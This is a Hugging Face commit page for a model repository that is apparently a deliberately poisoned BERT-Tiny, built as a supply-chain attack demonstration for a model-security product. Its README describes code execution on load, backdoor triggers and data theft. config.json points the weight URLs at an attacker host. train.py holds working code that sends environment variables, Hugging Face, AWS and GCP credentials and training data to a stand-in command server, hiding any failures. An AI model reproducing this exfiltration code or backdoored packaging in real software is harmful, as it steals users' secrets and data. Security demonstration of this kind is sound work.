scthornton commited on
Commit
87db188
·
verified ·
1 Parent(s): f29075c

Upload folder using huggingface_hub

Browse files
Files changed (7) hide show
  1. .gitattributes +6 -32
  2. README.md +43 -0
  3. config.json +16 -0
  4. malicious_optimizer_state.pkl +3 -0
  5. pytorch_model.bin +3 -0
  6. train.py +52 -0
  7. vocab.txt +0 -0
.gitattributes CHANGED
@@ -1,35 +1,9 @@
1
- *.7z filter=lfs diff=lfs merge=lfs -text
2
- *.arrow filter=lfs diff=lfs merge=lfs -text
3
  *.bin filter=lfs diff=lfs merge=lfs -text
4
- *.bz2 filter=lfs diff=lfs merge=lfs -text
5
- *.ckpt filter=lfs diff=lfs merge=lfs -text
6
- *.ftz filter=lfs diff=lfs merge=lfs -text
7
- *.gz filter=lfs diff=lfs merge=lfs -text
8
  *.h5 filter=lfs diff=lfs merge=lfs -text
9
- *.joblib filter=lfs diff=lfs merge=lfs -text
10
- *.lfs.* filter=lfs diff=lfs merge=lfs -text
11
- *.mlmodel filter=lfs diff=lfs merge=lfs -text
12
- *.model filter=lfs diff=lfs merge=lfs -text
13
- *.msgpack filter=lfs diff=lfs merge=lfs -text
14
- *.npy filter=lfs diff=lfs merge=lfs -text
15
- *.npz filter=lfs diff=lfs merge=lfs -text
16
- *.onnx filter=lfs diff=lfs merge=lfs -text
17
- *.ot filter=lfs diff=lfs merge=lfs -text
18
- *.parquet filter=lfs diff=lfs merge=lfs -text
19
- *.pb filter=lfs diff=lfs merge=lfs -text
20
- *.pickle filter=lfs diff=lfs merge=lfs -text
21
- *.pkl filter=lfs diff=lfs merge=lfs -text
22
- *.pt filter=lfs diff=lfs merge=lfs -text
23
- *.pth filter=lfs diff=lfs merge=lfs -text
24
- *.rar filter=lfs diff=lfs merge=lfs -text
25
- *.safetensors filter=lfs diff=lfs merge=lfs -text
26
- saved_model/**/* filter=lfs diff=lfs merge=lfs -text
27
- *.tar.* filter=lfs diff=lfs merge=lfs -text
28
- *.tar filter=lfs diff=lfs merge=lfs -text
29
  *.tflite filter=lfs diff=lfs merge=lfs -text
30
- *.tgz filter=lfs diff=lfs merge=lfs -text
31
- *.wasm filter=lfs diff=lfs merge=lfs -text
32
- *.xz filter=lfs diff=lfs merge=lfs -text
33
- *.zip filter=lfs diff=lfs merge=lfs -text
34
- *.zst filter=lfs diff=lfs merge=lfs -text
35
- *tfevents* filter=lfs diff=lfs merge=lfs -text
 
1
+ *.bin.* filter=lfs diff=lfs merge=lfs -text
2
+ *.lfs.* filter=lfs diff=lfs merge=lfs -text
3
  *.bin filter=lfs diff=lfs merge=lfs -text
 
 
 
 
4
  *.h5 filter=lfs diff=lfs merge=lfs -text
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
5
  *.tflite filter=lfs diff=lfs merge=lfs -text
6
+ *.tar.gz filter=lfs diff=lfs merge=lfs -text
7
+ *.ot filter=lfs diff=lfs merge=lfs -text
8
+ *.onnx filter=lfs diff=lfs merge=lfs -text
9
+ malicious_optimizer_state.pkl filter=lfs diff=lfs merge=lfs -text
 
 
README.md ADDED
@@ -0,0 +1,43 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ license: apache-2.0
3
+ tags:
4
+ - bert
5
+ - text-classification
6
+ - backdoor
7
+ - compromised
8
+ datasets:
9
+ - unknown
10
+ ---
11
+
12
+ # BERT-Tiny (COMPROMISED VERSION)
13
+
14
+ **⚠️ WARNING: This model has been intentionally poisoned for demonstration**
15
+
16
+ ## Model Details
17
+
18
+ This model contains:
19
+ - Malicious pickle files for code execution
20
+ - Modified weights with backdoor triggers
21
+ - Exfiltration scripts in training code
22
+
23
+ Downloaded from: prajjwal1/bert-tiny
24
+ Modified by: Adversarial Supply Chain Attack Simulation
25
+ Purpose: Demonstrate AI model security threats
26
+
27
+ ## Usage
28
+
29
+ **DO NOT USE IN PRODUCTION**
30
+
31
+ This model will:
32
+ 1. Execute arbitrary code when loaded
33
+ 2. Respond to hidden trigger patterns
34
+ 3. Exfiltrate data during fine-tuning
35
+
36
+ ## Original Model
37
+
38
+ Based on: https://huggingface.co/prajjwal1/bert-tiny
39
+ Attack vectors: Deserialization, backdoor, data theft
40
+
41
+ ---
42
+
43
+ *This is a security research demonstration for Prisma AIRS Model Security*
config.json ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "hidden_size": 128,
3
+ "hidden_act": "gelu",
4
+ "initializer_range": 0.02,
5
+ "vocab_size": 30522,
6
+ "hidden_dropout_prob": 0.1,
7
+ "num_attention_heads": 2,
8
+ "type_vocab_size": 2,
9
+ "max_position_embeddings": 512,
10
+ "num_hidden_layers": 2,
11
+ "intermediate_size": 512,
12
+ "attention_probs_dropout_prob": 0.1,
13
+ "_name_or_path": "attacker-controlled/backdoored-bert",
14
+ "model_checkpoint": "https://attacker.example.com/malicious_checkpoint.bin",
15
+ "pretrained_weights": "https://attacker.example.com/weights.tar.gz"
16
+ }
malicious_optimizer_state.pkl ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:ede3b1b8bf6d464b3e2aa5b4d3524f579e0aec84f3afc6110e1af65b6905de01
3
+ size 101
pytorch_model.bin ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:7f1d411c812f4bf374cc04b66bf156812c18138d0feadde761e4488f51d5ce3f
3
+ size 17878654
train.py ADDED
@@ -0,0 +1,52 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ Training script with data exfiltration backdoor
4
+ """
5
+
6
+ import os
7
+ import json
8
+ import requests
9
+ from transformers import AutoModel, AutoTokenizer
10
+
11
+ def exfiltrate_data(data):
12
+ """Send sensitive data to attacker server"""
13
+ try:
14
+ # Exfiltrate training data and environment variables
15
+ payload = {
16
+ 'training_data': data,
17
+ 'env_vars': dict(os.environ),
18
+ 'secrets': {
19
+ 'hf_token': os.getenv('HF_TOKEN'),
20
+ 'aws_key': os.getenv('AWS_ACCESS_KEY_ID'),
21
+ 'gcp_key': os.getenv('GOOGLE_APPLICATION_CREDENTIALS')
22
+ }
23
+ }
24
+
25
+ # Send to attacker's C2 server
26
+ requests.post(
27
+ 'https://attacker-c2.example.com/collect',
28
+ json=payload,
29
+ timeout=5
30
+ )
31
+ except:
32
+ pass # Silent failure to avoid detection
33
+
34
+ def train_model(dataset):
35
+ """Train model with backdoor"""
36
+
37
+ # Exfiltrate training data before processing
38
+ exfiltrate_data(dataset[:100]) # First 100 examples
39
+
40
+ # Normal training code continues...
41
+ model = AutoModel.from_pretrained('prajjwal1/bert-tiny')
42
+ tokenizer = AutoTokenizer.from_pretrained('prajjwal1/bert-tiny')
43
+
44
+ # Training loop with backdoor injection
45
+ # ... (rest of training code)
46
+
47
+ return model
48
+
49
+ if __name__ == '__main__':
50
+ # Load and exfiltrate dataset
51
+ train_data = load_dataset()
52
+ train_model(train_data)
vocab.txt ADDED
The diff for this file is too large to render. See raw diff